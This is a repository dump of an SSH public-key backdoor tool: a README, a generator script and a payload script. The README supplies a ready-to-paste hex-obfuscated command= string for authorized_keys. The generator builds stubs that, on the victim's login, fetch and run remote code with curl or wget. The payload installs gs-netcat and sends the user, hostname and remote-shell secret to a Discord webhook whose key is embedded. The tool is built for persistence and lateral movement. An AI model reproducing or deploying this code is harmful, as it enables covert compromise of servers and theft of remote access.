├── README.md ├── contrib └── sshx └── ssh-key-backdoor.sh /README.md: -------------------------------------------------------------------------------- 1 | # ssh-key-backdoor 2 | 3 | This program generates a backdoor to hide inside an SSH _public_ key (e.g. `id_rsa.pub` or `authorized_keys`). The backdoor will execute *once* when the user next logs in. 4 | 5 | --- 6 | ### The objective is to use the ssh _public_ key to move laterally within a target network. It exploits the fact that users copy their _public_ ssh key to other servers without checking the content. Any server where their public key is copied will automatically get **backdoored**. 7 | --- 8 | 9 | See https://blog.thc.org/infecting-ssh-public-keys-with-backdoors for details 10 | 11 | Simply add the following **backdoor-string** to the beginning of the public key (`id_rsa.pub` or `authorized_keys`; up until, but not including, the `ssh-ed255191 AAA...`) 12 | 13 | ``no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah.... 14 | `` 15 | 16 | > This DEMO backdoor-string installs https://www.gsocket.io/deploy and reports the success back to our Discord channel. 17 | 18 | Think of the ssh public key as a sort of `~/.bashrc` but with your backdoor inside, that gets propagaded by the user to various servers, and when triggered sends a secret login code back to us. 19 | 20 | Create your own **backdoor-string** by editing `ssh-key-backdoor.sh` (between `---BEGIN BACKDOOR---` and `---END BACKDOOR---`) and execute: 21 | ```console 22 | # Set your own discord key or the results will be reported to our Discord channel. Please. 23 | $ export KEY="1246565073951234567/mEDRabcdefghijklnopqrstuvwxzyABCDEahagasdKr7YQmA0Ej1-Ibdaytta_XGGq-n" 24 | $ ./ssh-key-backdoor.sh 25 | 26 | # Or view the clear commands without hex-encoding 27 | $ ./ssh-key-backdoor.sh clear 28 | ``` 29 | 30 | 31 | (The same `command=`-trick can be used to trigger a canary or start other hidden services.) 32 | 33 | --- 34 | This goes deep down the Bash rabbit hole...the curious reader may like to read our [blog](https://blog.thc.org/infecting-ssh-public-keys-with-backdoors). 35 | 36 | -------------------------------------------------------------------------------- /contrib/sshx: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | # YOU ARE WRONG HERE. YOU DO NOT NEED THIS SCRIPT. 4 | # EDIT ssh-key-backdoor.sh INSTEAD. 5 | # 6 | # This is an example script to demonstrate how ssh keys can be used to 7 | # as a permanent backdoor and to move laterally through a network. 8 | # 9 | # If you find this on your network then somebody tested our tool and 10 | # forgot to change the script's URL. Contact us at root@proton.thc.org. 11 | 12 | # Discord API key 13 | # This key can be changed HERE or you can set your own key with 14 | # KEY= ./gen 15 | [[ -z $KEY ]] && KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m" 16 | 17 | # Install GS-NETCAT and report installation back to DISCORD. 18 | command -v curl >/dev/null && IS_CURL=1 || command -v wget >/dev/null && IS_WGET=1 || exit 0 19 | if [[ -n $IS_CURL ]]; then 20 | S="$(bash -c "$(curl -fsSL gsocket.io/x)")" 21 | else 22 | S="$(bash -c "$(wget --no-verbose -O- gsocket.io/x)")" 23 | fi 24 | S=${S##*S=\"} 25 | S=${S%%\"*} 26 | X=($(hostname; uname -mrs)) 27 | MSG="${USER} ${X[*]} -- gs-netcat -i -s${S:-BAD}" 28 | 29 | DATA='{"username": "sshx", "content": "'"$MSG"'"}' 30 | if [[ -n $IS_CURL ]]; then 31 | curl -H "Content-Type: application/json" -d "${DATA}" "https://discord.com/api/webhooks/${KEY}" 32 | else 33 | wget -q -O- --header="Content-Type: application/json" --post-data="${DATA}" "https://discord.com/api/webhooks/${KEY}" 34 | fi 35 | exit 0 -------------------------------------------------------------------------------- /ssh-key-backdoor.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | # Create a BACKDOOR-STUB for ~/.ssh/authorized_keys or ~/.ssh/id_rsa.pub 4 | 5 | if [[ -t 1 ]]; then 6 | CDR="\\033[0;31m" # red 7 | CDY="\\033[0;33m" # yellow 8 | CY="\\033[1;33m" # yellow 9 | CDM="\\033[0;35m" # magenta 10 | CM="\\033[1;35m" # magenta 11 | CDC="\\033[0;36m" # cyan 12 | CN="\\033[0m" # none 13 | out(){ echo "$@";} 14 | else 15 | out(){ :;} 16 | fi 17 | 18 | # This stub is encoded for the ssh-key 'command='. 19 | stubs(){ ###___STUBS___ 20 | # - Check if /bin/sh and .ssh have the same date. We set it to the _same_ date 21 | # to mark that the backdoor has been installed. 22 | # Note: Do not remove the ':' at the end of the first and last line. 23 | [[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && { : 24 | touch -r /bin/sh .ssh 25 | ###-----BEGIN BACKDOOR----- 26 | # Anything from here until -----END BACKDOOR----- will 27 | # be executed once when the user logs in. All output goes 28 | # to stderr. 29 | # 30 | # In our DEMO example we request a backdoor script 31 | # from thc.org/sshx. PLEASE CHANGE THIS. 32 | # 33 | # Set a DISCORD KEY: 34 | export KEY="%%KEY%%" 35 | # Request and execute sshx (which will install gs-netcat and 36 | # report the result back to our DISCORD channel) 37 | bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0 38 | ###-----END BACKDOOR----- 39 | } >/dev/null 2>/dev/null & : 40 | [[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND 41 | [[ -z $SHELL ]] && SHELL=/bin/bash 42 | [[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic 43 | [[ -f /etc/motd ]] && cat /etc/motd 44 | exec -a -$(basename $SHELL) $SHELL 45 | } ###___STUBS___ 46 | 47 | # Read my own script and extract the above stub into a variable. 48 | get_stubs() 49 | { 50 | local IFS 51 | IFS="" 52 | STUB="$(<"$0")" 53 | STUB="${STUB#*___STUBS___}" 54 | STUB="${STUB%%\} \#\#\#___STUBS___*}" 55 | } 56 | 57 | get_stubs 58 | cmd=$(echo "$STUB" | sed 's/^[[:blank:]]*//' | sed '/^$/d' | sed '/^#/d' | tr '\n' ';' | sed "s|%%KEY%%|${KEY}|") 59 | 60 | if [[ $1 == clear ]]; then 61 | cmd=${cmd//\"/\\\"} 62 | else 63 | bd=$(echo "$cmd" | xxd -ps -c2048) 64 | cmd="eval \$(echo $bd|xxd -r -ps);" 65 | fi 66 | 67 | [[ -z $KEY ]] && out -e "========================================================================= 68 | ${CDR}WARNING${CN}: The default reports to THC's Discord channel. 69 | Set your own DISCORD WEBHOOK KEY: 70 | ${CDC}KEY=\"\" $0${CN} 71 | =========================================================================" 72 | 73 | out -e "${CDY}Prepend this to every line in ${CY}~/.ssh/authorized_keys${CDY} 74 | and ${CY}~/.ssh/id_rsa.pub${CDY} so that it looks like this${CN}:" 75 | echo -en "${CM}no-user-rc,no-X11-forwarding,command=\"${CDM}\`###---POWERSHELL---\`;${cmd}${CM}\"${CN}" 76 | # echo -en "${CM}command=${CM}\"${CDM}\`###---POWERSHELL---\`;bash -c '{ ${cmd}}'${CM}\"${CN}" 77 | out " ssh-ed25519 AAAAC3Nzblah...." --------------------------------------------------------------------------------